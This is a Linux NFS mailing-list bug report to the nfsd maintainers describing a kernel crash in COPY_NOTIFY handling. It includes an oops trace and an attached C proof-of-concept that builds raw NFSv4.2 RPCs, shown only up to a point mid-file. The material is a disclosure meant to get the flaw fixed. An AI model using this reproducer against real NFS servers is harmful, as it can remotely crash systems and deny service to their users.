* nfsd v4 server can crash in COPY_NOTIFY
@ 2022-01-05 14:59 rtm
2022-01-05 20:13 ` J. Bruce Fields
0 siblings, 1 reply; 5+ messages in thread
From: rtm @ 2022-01-05 14:59 UTC (permalink / raw)
To: J. Bruce Fields, Chuck Lever; +Cc: linux-nfs
[-- Attachment #1: Type: text/plain, Size: 1222 bytes --]
If the special ONE stateid is passed to nfs4_preprocess_stateid_op(),
it returns status=0 but does not set *cstid. nfsd4_copy_notify()
depends on stid being set if status=0, and thus can crash if the
client sends the right COPY_NOTIFY RPC.
I've attached a demo.
# uname -a
Linux (none) 5.16.0-rc7-00108-g800829388818-dirty #28 SMP Wed Jan 5 14:40:37 UTC 2022 riscv64 riscv64 riscv64 GNU/Linux
# cc nfsd_5.c
# ./a.out
...
[ 35.583265] Unable to handle kernel paging request at virtual address ffffffff00000008
[ 35.596916] status: 0000000200000121 badaddr: ffffffff00000008 cause: 000000000000000d
[ 35.597781] [<ffffffff80640cc6>] nfs4_alloc_init_cpntf_state+0x94/0xdc
[ 35.598576] [<ffffffff80274c98>] nfsd4_copy_notify+0xf8/0x28e
[ 35.599386] [<ffffffff80275c86>] nfsd4_proc_compound+0x2b6/0x4ee
[ 35.600166] [<ffffffff8025f7f4>] nfsd_dispatch+0x118/0x174
[ 35.600840] [<ffffffff8061a2e8>] svc_process_common+0x2f4/0x56c
[ 35.601630] [<ffffffff8061a624>] svc_process+0xc4/0x102
[ 35.602302] [<ffffffff8025f25a>] nfsd+0xfa/0x162
[ 35.602979] [<ffffffff80027010>] kthread+0x124/0x136
[ 35.603668] [<ffffffff8000303e>] ret_from_exception+0x0/0xc
[ 35.604667] ---[ end trace 69f12ad62072e251 ]---
[-- Attachment #2: nfsd_5.c --]
[-- Type: application/octet-stream, Size: 41067 bytes --]
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <assert.h>
#define NAA 128
unsigned long long aa[NAA] = {
0xc2ffffffull,
0x0ull,
0xfcffffff00000000ull,
0xfaffffffull,
0xc6ffffff00000000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int aai = 0;
int symstart = -1;
char obuf[10240];
int oi = 0;
int s; // socket fd
int xid = 1;
unsigned long long clientid; // server tells us in exchange_id reply
unsigned int sequenceid;
unsigned int slot0sequenceid = 1;
char sessionid[16];
int stateid_seqid; // from last received stateid4
char stateid_other[12]; // from last received stateid4
int tmp_fh_len;
char tmp_fh[256];
void
sys(const char *cmd)
{
volatile int junk = system(cmd);
(void) junk;
}
void put_fattr4_one();
void put_fattr4_many();
void
put32(unsigned int x)
{
assert((oi % 4) == 0);
*(int*)(obuf+oi) = htonl(x);
oi += 4;
}
void
put64(unsigned long long x)
{
put32(x >> 32);
put32(x);
}
void
put_opaque(int n, const char *buf)
{
put32(n);
for(int i = 0; i < n; i++)
obuf[oi++] = (buf ? buf[i] : 0);
while(n & 3){
obuf[oi++] = 0;
n++;
}
}
void
put_opaque_repeat(int n, char c)
{
put32(n);
for(int i = 0; i < n; i++)
obuf[oi++] = c;
while((n%4)!=0){
obuf[oi++] = 0;
n++;
}
}
void
put_sessionid(const char *sid)
{
for(int i = 0; i < 16; i++){
obuf[oi++] = (sid ? sid[i] : 0);
}
}
void
put_reset()
{
oi = 4; // leave room for packet length
}
void
send_send()
{
assert(oi >= 4);
assert((oi % 4) == 0);
assert(oi <= sizeof(obuf));
assert(aai <= NAA);
for(int i = 0; i < 16; i++)
put32(0xffffffff);
if(symstart != -1){
for(int i = symstart; i < oi && aai < NAA; i += 8)
*(long long *)(obuf + i) ^= aa[aai++];
}
*(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
printf("writing %d xid %d\n", oi, ntohl(*(int*)(obuf+4)));
if(write(s, obuf, oi) <= 0) perror("write");
oi = 0;
symstart = -1;
}
void
put_rpc_header(int proc)
{
put_reset();
put32(xid++);
put32(0); // mtype=CALL
put32(2); // rpc version
put32(100003); // prog #
put32(4); // prog vers
put32(proc); // proc
if(proc == 0){
put32(0); // cred type
put32(0); // cred len
} else {
put32(1); // cred type AUTH_SYS / AUTH_UNIX
put32(32); // cred length
put32(0); // stamp
put_opaque(9, "localhost");
put32(65534); // uid
put32(65534); // gid
put32(0); // # gids
}
put32(0); // verf type
put32(0); // verf len
}
void
put_compound(int n)
{
put_rpc_header(1);
// compound header
put_opaque(0, ""); // tag
put32(2); // minor version
put32(n); // # operations in the compound
}
// most COMPOUNDs are required to start with a SEQUENCE.
void
put_sequence()
{
put32(53); // SEQUENCE
put_sessionid(sessionid); // sessionid (16 bytes)
put32(slot0sequenceid++); // sequenceid ???
put32(0); // slotid
put32(0); // highest_slotid
put32(0); // cachethis
}
void
put_reclaim_complete()
{
put32(58); // RECLAIM_COMPLETE
put32(0); // 0 means global, 1 means just current fh
}
char ibuf[10240];
int ii;
int ilen;
int
readn(int fd, void *xbuf, int n)
{
char *buf = (char *) xbuf;
int orig = n;
while(n > 0){
int cc = read(fd, buf, n);
if(cc <= 0) { perror("read"); return -1; }
n -= cc;
buf += cc;
}
return orig;
}
unsigned int
parse32()
{
if(ii >= ilen){
printf("parsed beyond the end of the input\n");
return 0;
}
unsigned int x = *(int*)(ibuf+ii);
ii += 4;
return ntohl(x);
}
unsigned long long
parse64()
{
unsigned long long hi = parse32();
unsigned long long lo = parse32();
return (hi << 32) | lo;
}
// sessionid4 -- 16 bytes
void
parse_sessionid(char *sid)
{
for(int i = 0; i < 16; i++){
if(sid)
sid[i] = ibuf[ii];
ii++;
}
}
void
put_sid(char *sid)
{
for(int i = 0; i < 16; i++){
obuf[oi++] = (sid ? sid[i] : 0);
}
}
// sessionid4 -- 16 bytes
void
parse_sid(char *sid)
{
for(int i = 0; i < 16; i++){
if(sid)
sid[i] = ibuf[ii];
ii++;
}
}
unsigned int
parse_opaque(char *buf)
{
if(buf)
buf[0] = 0;
int nominal_n = parse32();
if(nominal_n > 4096){
printf("crazy opaque length %d\n", nominal_n);
return 0;
}
int real_n = nominal_n;
while((real_n%4) != 0) real_n += 1;
for(int i = 0; i < real_n; i++){
if(buf && i < real_n)
buf[i] = ibuf[ii];
ii++;
}
return nominal_n;
}
void
parse_exchange_id_reply()
{
int status = parse32();
if(status != 0)
printf("exchange_id reply status %d, not 0\n", status);
clientid = parse64();
sequenceid = parse32();
printf("exchange_id clientid 0x%llx sequenceid 0x%x\n", clientid, sequenceid);
}
void
parse_create_session_reply()
{
int status = parse32();
if(status != 0)
printf("create_session reply status %d, not 0\n", status);
parse_sessionid(sessionid);
}
void
parse_sequence_reply()
{
int status = parse32();
if(status != 0)
printf("sequence reply status %d, not 0\n", status);
parse_sessionid(0);
parse32(); // sequenceid
parse32(); // slotid
parse32(); // highest_slotid
parse32(); // target_highest_slotid
parse32(); // status_flags
}
void
parse_putrootfh_reply()
{
int status = parse32();
if(status != 0)
printf("putrootfh_reply status %d\n", status);
}
void
parse_lookup_reply()
{
int status = parse32();
if(status != 0)
printf("lookup_reply status %d\n", status);
}
void
parse_stateid()
{
stateid_seqid = parse32();
for(int i = 0; i < 12; i++)
stateid_other[i] = ibuf[ii++];
}
void
parse_open_reply()
{
int status = parse32();
if(status != 0){
printf("open status %d\n", status);
return;
}
parse_stateid();
parse32(); // change_info atomic
parse64(); // change_info before
parse64(); // change_info after
parse32(); // rflags
unsigned int bitwords = parse32(); // attrset
for(int i = 0; i < bitwords; i++)
parse32();
int delegation_type = parse32(); // open_delegation4
if(delegation_type == 0){
// OPEN_DELEGATE_NONE
} else if(delegation_type == 1){
// OPEN_DELEGATE_READ
// open_read_delegation4
parse32(); // stateid seqid
parse32(); // other
parse32(); // other
parse32(); // other
parse32(); // recall
// nfsace4
parse32(); // nfsace4 type
parse32(); // nfsace4 flag
parse32(); // nfsace4 access_mark
parse_opaque(0); // nfsace4 who
} else if(delegation_type == 2){
// OPEN_DELEGATE_WRITE
parse32(); // stateid seqid
parse32(); // other
parse32(); // other
parse32(); // other
parse32(); // recall
// nfs_space_limit4
int limitby = parse32();
if(limitby == 1){
// NFS_LIMIT_SIZE
parse64(); // filesize
} else if(limitby == 2){
// NFS_LIMIT_BLOCKS
parse32(); // num_blocks
parse32(); // bytes_per_block
} else {
printf("open reply, unknown limitby %d\n", limitby);
}
// nfsace4
parse32(); // nfsace4 type
parse32(); // nfsace4 flag
parse32(); // nfsace4 access_mark
parse_opaque(0); // nfsace4 who
} else {
printf("DID NOT understand delegation_type %d\n", delegation_type);
}
}
void
parse_compound_reply()
{
int stat = parse32(); // OK
parse_opaque(0);
int nops = parse32();
printf("compound reply, nops %d, stat %d", nops, stat);
if(stat > 0 && stat < 200){
printf(" %s", strerror(stat));
}
printf("\n");
for(int opi = 0; opi < nops && ii < ilen; opi++){
int op = parse32();
printf("reply for op %d\n", op);
if(op == 53){
parse_sequence_reply();
} else if(op == 42){
parse_exchange_id_reply();
} else if(op == 43){
parse_create_session_reply();
} else if(op == 24){
parse_putrootfh_reply();
} else if(op == 15){
parse_lookup_reply();
} else if(op == 18){
parse_open_reply();
} else if(op == 26){
int status = parse32();
printf("readdir status %d\n", status);
if(status == 0){
long long verf = parse64();
int nentries = parse32();
long long cookie = parse64();
char name[1024];
memset(name, 0, sizeof(name));
parse_opaque(name);
printf("verf %llx *entries %d cookie %llx name %s\n", verf, nentries, cookie, name);
}
break;
} else if(op == 34){
int status = parse32();
printf("setattr status %d\n", status);
break;
} else if(op == 22){
// putfh
int status = parse32();
printf("putfh status %d\n", status);
} else if(op == 10){
// getfh
int status = parse32();
if(status == 0){
int tmp_fh_len = parse_opaque(tmp_fh);
printf("getfh fh_len %d\n", tmp_fh_len);
} else {
printf("getfh status %d\n", status);
}
} else {
break;
}
}
}
void
parse_callback(int xid)
{
parse32(); // rpc version
parse32(); // prog #
parse32(); // prog vers
int proc = parse32(); // proc
parse32(); // auth flavor
parse_opaque(0); // auth
parse32(); // verf flavor
parse_opaque(0); // verf
printf("callback proc=%d\n", proc);
oi = 0;
put32(0); // placeholder
put32(xid);
put32(1); // REPLY
put32(0); // MSG_ACCEPTED
put32(0); // opaque_auth flavor = AUTH_NULL
put32(0); // opaque_auth length
put32(0); // SUCCESS
int xoi = oi;
if(proc == 0){
// nop
} else if(proc == 1){
// compound
parse_opaque(0); // tag
parse32(); // minorversion
parse32(); // callback_ident
int nops = parse32();
put32(0); // status
put_opaque(0, ""); // tag
put32(nops);
for(int opi = 0; opi < nops; opi++){
int op = parse32();
xoi = oi;
put32(op);
if(op == 11){
// CB_SEQUENCE
char sid[16];
parse_sid(sid);
int seq = parse32(); // sequenceid
int slot = parse32(); // slotid
int hislot = parse32(); // highest_slotid
parse32(); // cachethis
int nrcl = parse32(); // csa_referring_call_lists<>
for(int rci = 0; rci < nrcl; rci++){
parse32(); // sessionid
parse32();
parse32();
parse32();
int nxxx = parse32(); // rcl_referring_calls<>
for(int xi = 0; xi < nxxx; xi++){
parse32(); // sequenceid
parse32(); // slotid
}
}
put_sid(sid);
put32(seq); // sequenceid
put32(slot); // slotid
put32(hislot); // highest_slotid
put32(hislot); // target_highest_slotid
} else if(op == 4){
printf("CB_RECALL\n");
// stateid4
parse32(); // seqid
parse32(); // other
parse32();
parse32();
parse32(); // truncate
parse_opaque(0); // fh
put32(0); // OK
} else {
printf("callback unknown op %d\n", op);
break;
}
}
} else {
printf("callback: unknown proc %d\n", proc);
}
send_send();
}
void
parse_reply(int proc)
{
int desired_xid = xid - 1;
again:
if(readn(s, &ilen, 4) < 0)
return;
ilen = ntohl(ilen);
if((ilen & 0x80000000) == 0)
printf("ilen is missing 0x80000000\n");
ilen &= 0x7fffffff;
if(ilen > sizeof(ibuf)){
printf("huge packet %d\n", ilen);
return;
}
if(readn(s, ibuf, ilen) < 0)
return;
ii = 0;
int xxid = parse32(); // xid
int mtype = parse32(); // 1 = REPLY
if(mtype == 0){
// CALL -- a callback
parse_callback(xxid);
goto again;
}
if(xxid != desired_xid){
printf("xid mismatch, wanted 0x%x, got 0x%x, ilen %d, ii %d\n", desired_xid, xxid, ilen, ii);
}
if(mtype != 1)
printf("unexpected mtype %d, expected 1 / REPLY\n", mtype);
int stat = parse32(); // MSG_ACCEPTED
if(stat != 0)
printf("unexpected reply stat %d, expected 0 / MSG_ACCEPTED\n", stat);
int flavor = parse32(); // auth flavor
if(flavor != 0)
printf("unexpected auth_flavor %d, expecting 0 / AUTH_NONE\n", flavor);
parse_opaque(0); // verf
stat = parse32(); // SUCCESS
if(stat != 0)
printf("unexpected stat %d, expected 0 / SUCCESS\n", stat);
if(proc == 0){
printf("got reply for proc %d\n", proc);
} else if(proc == 1){
parse_compound_reply();
} else {
printf("got unexpected reply for proc %d xid %d\n", proc, xxid);
}
}
void
send_nop()
{
put_rpc_header(0);
send_send();
parse_reply(0);
}
void
send_exchange_id(int dosym)
{
put_compound(1);
if(dosym && symstart == -1)
symstart = oi;
put32(42); // operation 42: EXCHANGE_ID
int co_verifier = 1;
#if !SYM
co_verifier = getpid(); // needs to be unique
#endif
put64(co_verifier); // verifier4
put_opaque(22, "Linux NFSv4.2 xyzzy"); // co_ownerid
put32(0x103); // flags
put32(0); // SP4_NONE
put32(1); // length of client_impl_id
put_opaque(10, "kernel.org"); // nii_domain
put_opaque(4, "blah"); // nii_name
put64(0); // nfstime4
put32(0); // nfstime4
send_send();
parse_reply(1);
}
void
send_exchange_id_sym()
{
put_compound(1);
put32(42); // operation 42: EXCHANGE_ID
put64(1); // verifier4
put_opaque(22, "Linux NFSv4.2 xyzzy"); // co_ownerid
put32(0x103 ^ aa[aai++]); // flags
unsigned int how = aa[aai++];
put32(how);
int xoi = oi;
if(how == 0){ // SP4_NONE
} else if(how == 1){ // SP4_MACH_CRED
put32(3);
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
put32(3);
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
} else if(how == 2){ // SP4_SSV
// ssp_ops
put32(3);
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
// ssp_hash_algs<>
put32(2);
put_opaque(8, "12345678");
put_opaque(8, "1bcdefgh");
// ssp_encr_algs<>
put32(2);
put_opaque(8, "12345678");
put_opaque(8, "1bcdefgh");
put32(99); // ssp_window
put32(99); // ssp_num_gss_handles
}
unsigned int n = aa[aai++];
if(n > 20) n = 20;
put32(n); // length of client_impl_id
for(int i = xoi; i < oi && aai < NAA; i += 8)
*(long long *)(obuf+i) ^= aa[aai++];
for(int i = 0; i < n; i++){
put_opaque_repeat(aa[aai++] & 0xff, 'x'); // nii_domain
put_opaque_repeat(aa[aai++] & 0xff, 'y'); // nii_name
put64(0); // nfstime4
put32(0); // nfstime4
}
send_send();
parse_reply(1);
}
void
send_create_session(int dosym)
{
put_compound(1);
put32(43); // CREATE_SESSION
put64(clientid);
put32(sequenceid++);
if(dosym && symstart == -1)
symstart = oi;
put32(3); // flags, 1=FLAG_PERSIST, 2=CONN_BACK_CHAN
// csa_fore_chan_attrs, csa_back_chan_attrs
for(int i = 0; i < 2; i++){
put32(0); // headerpadsize
put32(4096); // maxrequestsize
put32(4096); // maxresponsesize
put32(4096); // maxresponsesize_cached
put32(8); // maxoperations
put32(16); // maxrequests
put32(0); // ca_rdma_ird<>
}
put32(0x40000000); // csa_cb_program
put32(1); // length of csa_sec_parms
#if 0
put32(0); // AUTH_NONE
#else
put32(1); // flavor AUTH_SYS
put32(0); // stamp
put_opaque(9, "localhost");
put32(65534); // uid
put32(65534); // gid
put32(0); // # gids
#endif
send_send();
parse_reply(1);
}
void
send_sequence()
{
put_compound(1);
put_sequence();
send_send();
parse_reply(1);
}
void
send_reclaim_complete()
{
put_compound(2);
put_sequence();
put_reclaim_complete();
send_send();
parse_reply(1);
}
void
put_rootfh()
{
put32(24);
}
void
put_open_existing(const char *filename, int share)
{
put32(18);
put32(0); // seqid
put32(share); // share_access 1=READ 3=BOTH
put32(0); // share_deny
put64(clientid); // owner
put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner
put32(0); // openhow OPEN4_NOCREATE
put32(0); // CLAIM_NULL
put_opaque(strlen(filename), filename);
}
void
put_open_create(char *name, int dosym)
{
put32(18);
put32(0); // seqid
put32(3); // share_access BOTH
put32(0); // share_deny
put64(clientid); // owner
put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner
put32(1); // openhow OPEN4_CREATE
unsigned int mode = 0; // UNCHECKED4
if(dosym)
mode ^= aa[aai++];
put32(mode);
if(mode == 2 || mode == 3){
put64(0); // verifier
}
if(mode != 2){
if(dosym){
//put_fattr4_one();
put32(2);
put64(aa[aai++]);
put32(16*8);
for(int i = 0; i < 16; i++)
put64(aa[aai++]);
} else {
put32(2); // attr bitmap length
put32(16); // attr bits
put32(2); // attr bits
put32(12); // attr len
put32(0);
put32(0);
put32(420);
}
}
unsigned int claim_type = 0; // CLAIM_NULL
if(dosym)
claim_type ^= aa[aai++];
put32(claim_type);
{
char ff[256];
sprintf(ff, "/tmp/%s", name);
unlink(ff);
}
if(claim_type == 0 || claim_type == 3){
put_opaque(strlen(name), name);
} else if(claim_type == 1){ // CLAIM_PREVIOUS
put32(aa[aai++]);
} else if(claim_type == 2){ // CLAIM_DELEGATE_CUR
// stateid4
put32(stateid_seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = stateid_other[i];
put_opaque(strlen(name), name);
} else if(claim_type == 4){ // CLAIM_FH
} else if(claim_type == 5){ // CUR_FH
put32(stateid_seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = stateid_other[i];
} else if(claim_type == 6){ // PREV_FH
}
}
void
put_readdir(int dosym)
{
put32(26);
if(dosym && symstart == -1)
symstart = oi;
put64(0); // cookie
put64(0); // cookieverf
put32(512); // dircount (bytes)
put32(512); // maxcount (bytes)
// bitmap
put32(4);
put32(0x0018091a);
put32(0x00b0a23a);
put32(0);
put32(0);
}
void
put_lookup(const char *name)
{
put32(15);
put_opaque(strlen(name), name);
}
//
// generates a fattr4 (bitmap4 then attrlist4).
//
void
put_fattr4(int xwords[], int fh)
{
int words[3];
for(int i = 0; i < 3; i++){
words[i] = xwords[i];
}
int bitwords = 3;
put32(bitwords);
int word0i = oi;
for(int i = 0; i < bitwords; i++)
put32(words[i]);
int leni = oi;
put32(0); // placeholder for total length of attrs
for(int a = 0; a < bitwords*32; a++){
if(words[a/32] & (1 << (a % 32))){
int xoi = oi;
if(a == 0){
put32(2); // # bitmap words of supported attrs
put32(0xffffffff);
put32(0xffffffff);
} else if(a == 1){
int type = 1;
if(fh == 0 || fh == 1)
type = 2;
put32(type); // NF4DIR=2 or NF4REG=1
} else if(a == 2){
put32(0); // fh_expire_type
} else if(a == 3){
put64(0); // change
} else if(a == 4){
put64(4096*10); // size
} else if(a == 5){
put32(1); // link support
} else if(a == 6){
put32(1); // symlink support
} else if(a == 8){
put64(1); // fsid major
put64(1); // fsid minor
} else if(a == 10){
put32(1); // lease time
} else if(a == 11){
put32(0); // rdattr_error
} else if(a == 12){
// ACL
int n = 2;
put32(n);
for(int i = 0; i < n; i++){
put32(0); // type
put32(0); // flag
put32(0); // mask
char who[9];
memset(who, 0, sizeof(who));
//strcpy(who, "1");
strcpy(who, "OWNER@");
//strcpy(who, "GROUP@");
put_opaque(strlen(who), who);
}
} else if(a == 13){
put32(0xf); // aclsupport
} else if(a == 19){
// filehandle
int xfh = fh;
put_opaque(4, (char*)&xfh); // fh
} else if(a == 20){
put64(fh); // fileid
} else if(a == 24){
// fs_locations
put32(1);
put_opaque(10, "abcde12345"); // pathname4
put32(1); // locations<>
put_opaque(10, "abcde12345"); // server
put32(1);
put_opaque(10, "abcde12345"); // rootpath
} else if(a == 27){
put64(0xffffffffffff); // max file size
} else if(a == 28){
put32(0xffff); // max link
} else if(a == 29){
put32(256); // max name
} else if(a == 30){
put64(10*4096); // max read
} else if(a == 31){
put64(10*4096); // max write
} else if(a == 33){
put32(0777); // mode
} else if(a == 35){
put32(3); // numlinks
} else if(a == 36){
put_opaque(6, "other"); // owner
} else if(a == 37){
put_opaque(6, "other"); // owner_group
} else if(a == 41){
put32(1); // rawdev major
put32(1); // rawdev minor
} else if(a == 45){
put64(4096*10); // space used
} else if(a == 47){
put64(0); // time access seconds
put32(0); // nseconds
} else if(a == 51){
put64(0); // time delta seconds
put32(0); // nseconds
} else if(a == 52){
put64(0); // time metadata seconds
put32(0); // nseconds
} else if(a == 53){
put64(0); // time modify seconds
put32(0); // nseconds
} else if(a == 55){
put64(0); // mounted_on_fileid ???
} else if(a == 62){
// fs_layout_types
put32(1);
put32(1); // LAYOUT4_NFSV4_1_FILES
} else if(a == 75){
// FATTR4_SUPPATTR_EXCLCREAT
put32(2); // bitmap length
put32(0xffffffff);
put32(0xffffffff);
} else {
// unknown attr, delete from bitmap.
words[a/32] &= ~(1 << (a % 32));
*(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]);
}
}
}
for(int i = 0; i < 16; i++)
put32(0xffffffff);
*(int*)(obuf+leni) = htonl(oi - leni - 4);
}
void
put_fattr4_inner(int words[])
{
int bitwords = 3;
put32(bitwords);
int word0i = oi;
for(int i = 0; i < bitwords; i++)
put32(words[i]);
int leni = oi;
put32(0); // placeholder for total length of attrs
for(int a = 0; a < bitwords*32; a++){
if(words[a/32] & (1 << (a % 32))){
if(a == 0){
int n = 3 ^ (aa[aai++] & 0xf);
put32(n); // # bitmap words of supported attrs
for(int i = 0; i < n; i++){
put32(0xffffffff ^ aa[aai++]);
}
} else if(a == 1){
put32(1 ^ aa[aai++]); // NF4DIR=2 or NF4REG=1
} else if(a == 2){
put32(aa[aai++]); // fh_expire_type
} else if(a == 3){
put64(aa[aai++]); // change
} else if(a == 4){
put64(103 ^ aa[aai++]); // size
} else if(a == 5){
put32(aa[aai++]); // link support
} else if(a == 6){
put32(aa[aai++]); // symlink support
} else if(a == 8){
put64(aa[aai++]); // fsid major
put64(aa[aai++]); // fsid minor
} else if(a == 10){
put32(aa[aai++]); // lease time
} else if(a == 11){
put32(aa[aai++]); // rdattr_error
} else if(a == 12){
// ACL
int n = 1 ^ aa[aai++];
put32(n);
for(int i = 0; i < n && i < 2; i++){
put32(aa[aai++]); // type
put32(aa[aai++]); // flag
put32(aa[aai++]); // mask
char who[9];
memset(who, 0, sizeof(who));
// strcpy(who, "65534");
strcpy(who, "OWNER@");
*(long long*)who ^= aa[aai++];
put_opaque(strlen(who), who);
}
} else if(a == 13){
put32(0xf ^ aa[aai++]); // aclsupport
} else if(a == 19){
// filehandle
int n = aa[aai++] & 0xff;
put_opaque_repeat(n, 'x');
} else if(a == 20){
put64(aa[aai++] & 0x3); // fileid
} else if(a == 24){
// fs_locations
put_opaque(10, "abcde12345"); // pathname4
int n = aa[aai++] & 0x1f;
put32(n); // locations<>
for(int i = 0; i < n; i++){
put_opaque_repeat(aa[aai++] & 0x1ff, 'x'); // server
put_opaque_repeat(aa[aai++] & 0x1ff, 'y'); // rootpath
}
} else if(a == 27){
put64(aa[aai++]); // max file size
} else if(a == 28){
put32(aa[aai++]); // max link
} else if(a == 29){
put32(aa[aai++]); // max name
} else if(a == 30){
put64(aa[aai++]); // max read
} else if(a == 31){
put64(aa[aai++]); // max write
} else if(a == 33){
put32(aa[aai++]); // mode
} else if(a == 35){
put32(aa[aai++]); // numlinks
} else if(a == 36){
put_opaque_repeat(aa[aai++] & 0x1ff, 'z'); // owner
} else if(a == 37){
put_opaque_repeat(aa[aai++] & 0x1ff, 'z'); // owner_group
} else if(a == 41){
put32(aa[aai++]); // rawdev major
put32(aa[aai++]); // rawdev minor
} else if(a == 45){
put64(aa[aai++]); // space used
} else if(a == 47){
put64(0); // time access seconds
put32(0); // nseconds
} else if(a == 51){
put64(aa[aai++]); // time delta seconds
put32(aa[aai++]); // nseconds
} else if(a == 52){
put64(0); // time metadata seconds
put32(0); // nseconds
} else if(a == 53){
put64(0); // time modify seconds
put32(0); // nseconds
} else if(a == 55){
put64(aa[aai++]); // mounted_on_fileid ???
} else if(a == 62){
// fs_layout_types
put32(aa[aai++]);
put32(aa[aai++]); // LAYOUT4_NFSV4_1_FILES
} else if(a == 75){
// FATTR4_SUPPATTR_EXCLCREAT
int n = aa[aai++] & 0xf;
put32(n); // # bitmap words of supported attrs
for(int i = 0; i < n; i++){
put32(aa[aai++]);
}
} else {
// unknown attr, delete from bitmap.
words[a/32] &= ~(1 << (a % 32));
*(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]);
}
}
}
for(int i = 0; i < 16; i++)
put32(0xffffffff);
*(int*)(obuf+leni) = htonl(oi - leni - 4);
}
//
// generate a symbolic fattr4, with multiple elements.
// tries to avoid generating illegal XDR.
//
void
put_fattr4_many()
{
int bitwords = 3;
int words[4];
memset(words, 0, sizeof(words));
int setme[] = { -1 };
for(int i = 0; setme[i] >= 0; i++){
int a = setme[i];
words[a/32] |= 1 << (a % 32);
}
for(int i = 0; i < bitwords; i++){
words[i] ^= aa[aai++];
}
put_fattr4_inner(words);
}
//
// a symbolic fattr4 with just one item set.
//
void
put_fattr4_one()
{
int bitwords = 3;
int words[4];
memset(words, 0, sizeof(words));
unsigned int bit = aa[aai++];
if(bit >= 3*32)
bit = 4;
words[bit/32] |= 1 << (bit % 32);
put_fattr4_inner(words);
}
void
put_setattr()
{
put32(34);
put32(stateid_seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = stateid_other[i];
put_fattr4_one();
}
void
send_open_existing(const char *filename, int sharing)
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_open_existing(filename, sharing);
send_send();
parse_reply(1);
}
void
send_open_create(char *name, int dosym)
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_open_create(name, dosym);
send_send();
parse_reply(1);
}
void
put_create()
{
put32(6);
int type = 5; // NFS4LNK
type ^= aa[aai++];
put32(type);
if(type == 5){
put_opaque(16, "abcdefgh12345678");
} else if(type == 4 || type == 3){ // CHR, BLK
put32(aa[aai++]); // major
put32(aa[aai++]); // minor
}
unlink("/tmp/newlink");
put_opaque(7, "newlink");
put_fattr4_one();
if(0){
put32(3); // fattr4 bitmap size
put32(0);
put32(0);
put32(0);
put32(0); // opaque fattr4 size
}
}
void
send_create()
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_create();
send_send();
parse_reply(1);
}
void
send_setattr(char *name, int dosym)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_lookup(name);
put_setattr();
send_send();
parse_reply(1);
}
void
put_set_acl(int dosym)
{
put32(34);
put32(stateid_seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = stateid_other[i];
int words[3];
words[0] = words[1] = words[2] = 0;
words[0] |= (1 << 12); // acl
if(dosym && symstart == -1)
symstart = oi + 4*4; // skip over FATTR4 bitmap
put_fattr4(words, 1);
}
void
put_getattr()
{
put32(9);
put32(3);
put32(1 << 12);
put32(0);
put32(0);
}
void
send_set_acl(char *name, int dosym)
{
put_compound(6);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_lookup(name);
put_set_acl(dosym);
put_getattr();
send_send();
parse_reply(1);
}
void
put_putfh(int dosym)
{
put32(22);
if(dosym && symstart == -1)
symstart = oi;
put_opaque(28, tmp_fh);
}
void
send_putfh()
{
put_compound(2);
put_sequence();
put_putfh(0);
send_send();
parse_reply(1);
}
void
put_getfh()
{
put32(10);
}
void
send_lookup()
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_getfh();
send_send();
parse_reply(1);
}
void
send_readdir(int dosym)
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_readdir(dosym);
send_send();
parse_reply(1);
}
void
put_listxattrs()
{
put32(74);
put64(0); // cookie
put32(16384); // maxcount
}
void
send_listxattrs()
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
